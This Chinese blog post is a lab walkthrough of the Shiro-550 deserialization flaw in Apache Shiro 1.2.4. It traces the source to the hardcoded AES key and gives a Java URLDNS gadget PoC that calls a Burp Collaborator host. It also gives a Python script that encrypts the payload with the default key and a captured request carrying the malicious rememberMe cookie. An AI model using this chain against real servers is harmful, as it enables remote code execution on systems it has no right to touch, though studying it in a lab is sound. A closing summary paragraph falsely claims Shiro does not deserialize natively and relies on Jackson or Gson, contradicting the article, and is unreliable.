shiro550反序列化

shiro介绍
Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
shiro反序列漏洞的特点是它传递的反序列化的数据,但他天然的进行了加密,也就是说不会有反序列化的标志,一般来说waf很难防御。
什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。

环境部署
下面在本地 IDEA 部署 Apache Shrio 1.2.4 漏洞环境,以便于进行漏洞动态调试分析。

1、首先在 Github 下载项目源码:

https://github.com/apache/shiro
image.png
2、 编辑 shiro\samples\web 路径下的 pom.xml 文件,给 jstl 指定版本:(Jsp的解析器)
image.png
3、等待 IDEA 自动下载并导入完项目依赖的包,build 完成后项目结构如下:
image.png
4、注意,pom.xml 里面的配置会让程序自动下载shiro-core依赖包(后面程序加断点调试会用到该部分文件):image.png
5、接着设置 run/debug configurations, 添加本地 Tomcat 环境(需要提前在本地安装 Tomcat 环境):image.png
运行成功后浏览器将自动打开目标程序站点,本地环境部署至此结束:
image.png
6、访问登录页面进行已提示账户的登录,抓包可见 remenberme 字段:
请求包内容

POST /login.jsp;jsessionid=BD20BF2E35DBEA98D030CF75FE829B74 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/login.jsp;jsessionid=BD20BF2E35DBEA98D030CF75FE829B74
Cookie: think_template=default; DedeUserID=2; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=e51a0c663c0c9bf5; DedeLoginTime=1678266579; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=a26266c9dfd5b912; JSESSIONID=BD20BF2E35DBEA98D030CF75FE829B74
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

username=root&password=secret&rememberMe=on&submit=Login

登录成功且这里勾选上rememberMe的话就会返回一个cookie
这是登录成功的返回包,这里可以看到一个cookie

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Sat, 11-Mar-2023 05:55:43 GMT
Set-Cookie: rememberMe=QOUJLQ32BGiG/Zt9i2saQdtxZ+lhkTQdC6lOLl6I7S6kHESiNdig35cRxc0bRQ6z330Eb+foEKzZ1qx7PLjkEghGZqhH5dCm36hzFNwTOk1lqVpcP99ARKW/zaruMZEMGdCQqMAYCi3mqy+ngXOXUI7xM9nZcjx3gSx8hbdx3baa2fjT05OIDqWG6O87MYrrNyJbisAY3Ts02oBcGYuaVbLu/ybl1sLoF/ETbUsv2adiqmjwaLDGlxWv2QAzJ4lpf+LjjUmK01MfKvUs4g4cZp67zEeMivigVkAo4nhN7l8wJPBS7FXEHId4TlYcMa3zRpcDk5OQwtKK0mezqlVKgHn3NlhRRrvI0epCFlZI4eLcb9Ab7rQUJXfckoDkEDw8XXjJbTmmsc4M0OtUjdJFm0MJiTNz1zX8Tf8KVB60DmKBLcbd2vmrwBB7CvAa/GqXw0Cp3LCJWxGY+JgbrEZosOeWYEHGAW/RPm/zS0ciof9dH/QnMpB5jAMJvqGzFVlC; Path=/; Max-Age=31536000; Expires=Mon, 11-Mar-2024 05:55:46 GMT; HttpOnly
Location: /
Content-Length: 0
Date: Sun, 12 Mar 2023 05:55:46 GMT
Connection: close


之后在他每次请求的时候都会带上这个cookie
那么问题来了,这个cookie代表什么?怎么生成的?
一般来说这种很长的cookie中都会保存着一些信息,而保存信息的方式就是序列化,反序列化。他需要在你本地cookie中保存一些认证的东西,这样在下次登录的时候就不需要重新登录
那么我们继续看看这个cookie是怎么处理的
我们进源码进行查看,在org.apache.shiro.web.mgt.CookieRememberMeManager这个类中对Cookie进行了处理
org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity方法中

 protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
        if (!WebUtils.isHttp(subjectContext)) {
            if (log.isDebugEnabled()) {
                String msg = "SubjectContext argument is not an HTTP-aware instance.  This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
                log.debug(msg);
            }

            return null;
        } else {
            WebSubjectContext wsc = (WebSubjectContext)subjectContext;
            if (this.isIdentityRemoved(wsc)) {
                return null;
            } else {
                HttpServletRequest request = WebUtils.getHttpRequest(wsc);
                HttpServletResponse response = WebUtils.getHttpResponse(wsc);
                String base64 = this.getCookie().readValue(request, response);
                if ("deleteMe".equals(base64)) {
                    return null;
                } else if (base64 != null) {
                    base64 = this.ensurePadding(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Acquired Base64 encoded identity [" + base64 + "]");
                    }

                    byte[] decoded = Base64.decode(base64);
                    if (log.isTraceEnabled()) {
                        log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
                    }

                    return decoded;
                } else {
                    return null;
                }
            }
        }
    }

写了对Cookie生成的过程,从请求中获取信息 WebUtils.getHttpRequest(wsc);,然后对它进行base64加密,但是很明显Cookie的信息不止进行了base64加密,我们继续看看哪里调用了getRememberedSerializedIdentity方法。

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedSerializedIdentity中调用 了getRememberedSerializedIdentity方法。

  public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
        PrincipalCollection principals = null;
        try {
            byte[] bytes = getRememberedSerializedIdentity(subjectContext);
            //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
            if (bytes != null && bytes.length > 0) {
                principals = convertBytesToPrincipals(bytes, subjectContext);
            }
        } catch (RuntimeException re) {
            principals = onRememberedPrincipalFailure(re, subjectContext);
        }

        return principals;
    }

这里面又调用了convertBytesToPrincipals方法,我们跟进去看看

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);
        }
        return deserialize(bytes);
    }

这里是将字节转换为认证信息,实际上这里就做了2步,第一步解密decrypt,第二步进行反序列化deserialize,这里我们就知道了它的原理了,但是这里反序列化的是加密后的字节,我们还需要解密
我们先看一下它反序列化的地方,
org.apache.shiro.io.DefaultSerializer#deserialize方法

public T deserialize(byte[] serialized) throws SerializationException {
        if (serialized == null) {
            String msg = "argument cannot be null.";
            throw new IllegalArgumentException(msg);
        }
        ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
        BufferedInputStream bis = new BufferedInputStream(bais);
        try {
            ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
            @SuppressWarnings({"unchecked"})
            T deserialized = (T) ois.readObject();
            ois.close();
            return deserialized;
        } catch (Exception e) {
            String msg = "Unable to deserialze argument byte array.";
            throw new SerializationException(msg, e);
        }
    }

这里调了一个原生的反序列化

ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
    T deserialized = (T) ois.readObject();
ois.close();

那这里的话如果它调用了cc的依赖我们就可以打漏洞了
我们再看看它解密的地方,在这里调用了解密的方法bytes = decrypt(bytes);

 protected byte[] decrypt(byte[] encrypted) {
        byte[] serialized = encrypted;
        CipherService cipherService = getCipherService();
     //getCipherService  获取认证服务
        if (cipherService != null) {
            ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
            serialized = byteSource.getBytes();
        }
        return serialized;
    }

ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
这里进行解密,跟进查看
image.png
我们看他传进去的参数ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;
encrypted是加密的字段
decryptionKey是key,因为它是对称加密,所以需要一个key来进行解密
那么这里我们如果能获取到key,我们就可以获取到这个包了
回到decrypt方法中查看传值的地方ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
encrypted是加密的字段,key是从getDecryptionCipherKey方法中获取的
我们跟进查看

public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}

继续跟进

private byte[] decryptionCipherKey;

发现他是一个常量

  public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
        this.decryptionCipherKey = decryptionCipherKey;
    }

//调用setDecryptionCipherKey
 public void setCipherKey(byte[] cipherKey) {
        //Since this method should only be used in symmetric ciphers
        //(where the enc and dec keys are the same), set it on both:
        setEncryptionCipherKey(cipherKey);
        setDecryptionCipherKey(cipherKey);
    }

//调用setCipherKey
    public AbstractRememberMeManager() {
        this.serializer = new DefaultSerializer<PrincipalCollection>();
        this.cipherService = new AesCipherService();
        setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
    }

DEFAULT_CIPHER_KEY_BYTES很明显就是一个常量

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

默认的key就是
也就是说在shiro1.2.4这个版本跟rememberme这个功能相关加密的,都是一个固定的key:kPH+bIxk5D2deZiIxcaaaA==,去加密,加密算法是AES算法

漏洞原理

首先构造一个反序列化的payload,再将它用AES的key加密,然后再把它进行base64加密,然后想办法让它走到正常的流程里面去调用反序列化。

我们看一下pom文件,他的库很多都是test包,maven在编译运行的时候只会把compile和runtime类型的包打进来,test的类型的是不会打进来的
image.png
打CC链的话,cc这里的依赖其实是test类型的,如果去打cc的话是打不到的
image.png
真正能打的是commons-beanutils-1.8.3.jar这个包
image.png
这里先打jdk自己的包就行,URLDNS链
poc

package ysoserial.ay;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

/**
 * @ClassName URLDNS
 * @Author aY
 * @Date 2023/3/12 15:47
 * @Description
 */
public class URLDNS {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {


        HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
        //hashcode=-1
        URL url = new URL("http://2mpiyigubkvlt0e80ojyv51lscy2mr.burpcollaborator.net");

        Class c = url.getClass();
        Field hashCodefield = c.getDeclaredField("hashCode");
        hashCodefield.setAccessible(true);
        hashCodefield.set(url,1234);//不等于-1就可以

        hashMap.put(url,1);
        //hashcode=  url的hashcode值了
        hashCodefield.set(url,-1);
        serialize(hashMap);
//        unserialize("ser.bin");
    }

    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

使用加密脚本对ser.bin文件进行加密

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    # plaintext = bytes .decode(plaintext)
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == '__main__':
    # enc_data = "AL9ZLOHeBKEtIey/299S7eanvsGbgl-YSInYaw1jtZ5o7ReEmpMKPVbTbcku5x6GhuBfudj0xGTDX/60rEMNXeqmg?2DlLI+WHLIxBrathm0UK4XWB2VKhE"
    # plaintext = aes_dec(enc_data)
    # print(plaintext)
    data = get_file_data("ser.bin")
    # print(data)
    print(aes_enc(data))

这里只是对ser.bin进行了加密,生成了加密的exp
我们在登录进行抓包

GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default; DedeUserID=2; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=e51a0c663c0c9bf5; DedeLoginTime=1678266579; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=a26266c9dfd5b912; JSESSIONID=56AF3164EDDB1D6E211CC28D365BDD59; rememberMe=26GLRODLpThSpquCYHFvUbpm8N2VHrnFX8/VGkAMWbDDPPnqyNM48ZlNkKsBKvkYfEEXr3XcQc+YGRQKTEvFLJbcrK4J23i+wO95eY765j8rUWhyPuu9JxTrlmGegZLiyV4xVKdjqwz1bIvBJdYFkGqO6C2dyEIoyq6SzZORWwY9O2O8uYept1b5Ks71IX6vZtUXdtdORv3uNd5vPTnklnDSxA9a23XCLXGHfP72AIR2mZO/iI92ae9xiMI1+izoIW8o2piVgt91Hxx4k0W4px5Zmp1PeIMFlNbPZBP+EHLRkSvsqpo4NsbB0xGyVIRK1dRyMMzXF7IBSLlr89xP7sxCHjOSFjJ4noQesRguwEvW7/qBDiAaMOhZ2v2UJroMCjXGfKoox1FMEjfHpKEhAGB3HGHjupkHo0pfqN8cxz5OUwU0NUs6ePHEeByrv0V57HsA+5AJNqqlEQ4QaniX4Mhzvck0dWCDvCN/neHSGeNucxZx25AoedXpKi2FCF4p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin


在cookie字段中我们将rememberMe字段中的加密的值改为生成exp,发包,发现还在登录状态,
这里因为还有jsession字段进行身份验证,把他删除之后我们发现包的长度发生了变化,而且在set_cookie中出现了 rememberMe=deleteMe;同时DNSlog平台也打回来了数据,说明序列化成功了
image.png

Shiro (Security Infrastructure for Java) 是一个开源的身份和权限管理框架,它提供了安全的身份验证、授权、会话管理和加密等功能。关于反序列化(Deserialization)原理,Shiro 并不是直接处理反序列化的,但其在处理JSON或XML等外部数据格式时,可能会涉及到与序列化相关的安全性考虑。 当Shiro从存储(如数据库或配置文件)加载配置信息时,这些信息通常是以字符串形式表示的,然后需要转换为Java对象。这个过程涉及到了反序列化。在反序列化过程中,如果输入的数据不正确或者恶意构造,可能会触发安全漏洞,比如`序列化攻击`(也称为`Deserialization of Untrusted Data`),攻击者可能会利用这种漏洞执行任意代码。 Shiro通过以下机制来提高反序列化安全性: 1. **安全反序列化库**:Shiro使用了像Jackson、Gson这样的库来进行JSON解析,这些库提供了一些选项来限制对反序列化的控制,例如`@JsonAutoDetect`注解可以防止默认字段被反序列化。 2. **白名单和黑名单**:可以配置只允许特定类型或特定构造方法的序列化,避免不受信任的数据结构。 3. **检查输入**:在某些情况下,Shiro可能对反序列化后的数据进行一些检查,确保它们符合预期的安全格式。 4. **配置保护**:Shiro允许开发者禁用自动反序列化,或者仅在受信任的环境中启用。 **相关问题--:** 1. Shiro如何避免序列化攻击? 2. 如何在Shiro中启用对反序列化安全控制? 3. Shiro如何配合Jackson或其他库来确保反序列化安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YY13172

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值